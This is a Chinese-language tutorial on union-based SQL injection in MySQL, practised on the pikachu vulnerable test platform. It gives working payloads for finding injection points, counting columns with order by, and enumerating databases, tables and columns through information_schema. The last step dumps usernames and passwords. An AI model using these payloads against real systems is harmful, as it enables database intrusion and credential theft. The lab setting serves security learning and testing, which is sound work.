SQL注入-联合查询注入union

目录

SQL注入的一库三表

union联合查询注入注意事项

MySQL函数利用

        1、常用函数

        2、连接字符串函数

联合查询注入union

利用前提

联合注入的过程

1、先判断有没有注入点

3、判断有多少列

4、判断显示位

5、显示有哪些数据库

6、显示数据库中有哪些表

7、显示表中有哪些字段(以users为例)

8、获取字段


SQL注入的一库三表

information_schema

        元数据数据库 (数据库名, 表名, 字段名)

        1.元数据

        2.默认情况下,所有的用户都可以进行访问

结构
information_schema
|
|
/____schemata
|       /____schema_name   库名
|
/____tables
|        /____table_name    表名
|        /____table_schema  表所属的库名
|        
/____columns
        /____column_name   字段名
        /____table_name       字段所属表名
        /____table_schema  字段所属表所属库的名字

union联合查询注入注意事项

union内部的 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型,结果会去掉重复的记录。当union之前的select语句结果集为空 时,查询结果将由union后的select语句控制。

用法举例: select username,password from user where id=1 union select 字段1,字段2 from 表名 联合查询的字段数需要和主查询一致

MySQL函数利用

        1、常用函数

                user()

                database()

                @@version

                session_user()

                @@basedir

                @@datadir

                @@version_compile_os

        2、连接字符串函数

                前提:

                        concat(str1 ,str2)

                        concat_ws(separator, str1,str2.....)

                        group_concat(str1 ,str2......)

联合查询注入union

利用前提

                   页面上有显示位,用于显示我们想要的结果

                   优点:方便、快捷、易于利用

                   缺点:需要显示位

联合注入的过程

1、判断注入点

2、判断是整型还是字符型

3、判断查询列数

4、判断显示位

5、获取所有数据库名

6、获取数据库所有表名

7、获取字段名

8、获取字段中的数据

1、先判断有没有注入点

判断常用:

and //and是在知道用户名或id时使用

or //是在不知道的情况下使用

1,数字型注入点判断手法:

        1 and 1=1 //正常显示

        1 and 1=2 //空页面或则报错

2,字符型注入点判断手法:

        1' and 1=1 -- - //正常显示

        1' and 1=2 -- - //空页面

注:

        判断是整型还是字符型在之前的文章中有介绍,在这里就略过

3、判断有多少列

判断原有查询语句的列数通常基于布尔型盲注的思想来进行,通常使用order by 语句来进行,order by 语句用于对结果集进行排序,在select 语句末尾增加order by N 表示基于第N列进行排序;

判断语句:

1' order by 1,2,3,N--+

一直判断到报错

现在我们是pikachu漏洞测试平台做测试

输入order by 2测试

SQL注入-联合查询注入union_第1张图片

 继续输入order by 3测试

SQL注入-联合查询注入union_第2张图片

 页面返回错误,说明没有第三列,所以只有两列信息

4、判断显示位

判断语句:

1' union select 1,2 --+

一直判断到报错

显示数据库的基本信息

1' union select 1,database() --+ 

这里使用 “1,” 是因为在前面的查询语句中有两列信息uid和email,为了保证union内部的 select语句必须拥有相同数量的列,所以加入一列。

SQL注入-联合查询注入union_第3张图片

5、显示有哪些数据库

1' union select 1,schema_name from information_schema.schemata --+  

SQL注入-联合查询注入union_第4张图片

 使用group_concat()函数使数据库信息呈现在一行中

1' union select 1,group_concat(schema_name) from information_schema.schemata --+

SQL注入-联合查询注入union_第5张图片

6、显示数据库中有哪些表

以pikachu数据库为例看库中的表

1' union select 1,table_name from information_schema.tables where table_schema="pikachu" --+

SQL注入-联合查询注入union_第6张图片

7、显示表中有哪些字段(以users为例)

1' union select 1,column_name from information_schema.columns where table_schema="pikachu" and table_name="users" --+

SQL注入-联合查询注入union_第7张图片

8、获取字段

1' union select username,password from users --+

SQL注入-联合查询注入union_第8张图片

你可能感兴趣的:(sql,数据库,database,安全)